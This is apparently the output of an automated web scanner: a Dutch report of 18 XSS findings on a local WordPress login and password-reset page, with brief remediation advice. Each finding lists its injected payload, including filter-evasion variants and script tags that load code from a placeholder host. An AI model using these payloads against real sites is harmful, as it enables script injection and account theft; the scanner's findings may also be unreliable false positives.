

Scan Rapport

Algemene Informatie

Klant: Gert

Bedrijf: Gert BV

Email: webapplicatietest@gmail.com

Scan Informatie

URL: http://cms.local

Server: Apache

Scan type: XSS

Start tijd: 2017-10-20 19:33:08

Eind tijd: 2017-10-20 19:33:35

Scan tijd: 27 secondes

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden

Hoog: 18

gemiddeld: 0

Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
XSS	hoog	18	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina. Er zijn twee basis regels waar een website aan moet voldoen om dit probleem te voorkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestane locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 2035

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>alert('ikb5ynm87n')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-10-20 19:33:14

ID: 2036

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>alert("ikb5ynm87n")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-10-20 19:33:14

ID: 2037

Module: xss

Risico: high

Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params

Aanval: <script>String.fromCharCode(0,ikb5ynm87n,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST
Datum: 2017-10-20 19:33:15
ID: 2038
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <script src=http://ikb5ynm87n/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:15
ID: 2039
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <script[TAB]src=http://ikb5ynm87n/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:15
ID: 2040
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <scr<script>ipt>alert('ikb5ynm87n')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:19
ID: 2041
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php

Parameter: form-params
Aanval: <scr<script>ipt>alert("ikb5ynm87n")</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:19
ID: 2042
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <scr<script>ipt>String.fromCharCode(0,ikb5ynm87n,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:19
ID: 2043
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php
Parameter: form-params
Aanval: <scr<script>ipt src=http://ikb5ynm87n/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:20
ID: 2044
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script>alert('0nbz4e5giu')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:28

ID: 2045
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script>alert("0nbz4e5giu")</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:28
ID: 2046
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script>String.fromCharCode(0,0nbz4e5giu,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:29
ID: 2047
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script src=http://0nbz4e5giu/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:29
ID: 2048
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <script[TAB]src=http://0nbz4e5giu/x.js></script>

Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:30
ID: 2049
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <scr<script>ipt>alert('0nbz4e5giu')</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:33
ID: 2050
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <scr<script>ipt>alert("0nbz4e5giu")</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:33
ID: 2051
Module: xss
Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <scr<script>ipt>String.fromCharCode(0,0nbz4e5giu,1)</script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:34
ID: 2052
Module: xss

Risico: high
Target URL: http://cms.local/wordpress/wp-login.php?action=lostpassword
Parameter: form-params
Aanval: <scr<script>ipt src=http://0nbz4e5giu/x.js></script>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: POST
Datum: 2017-10-20 19:33:34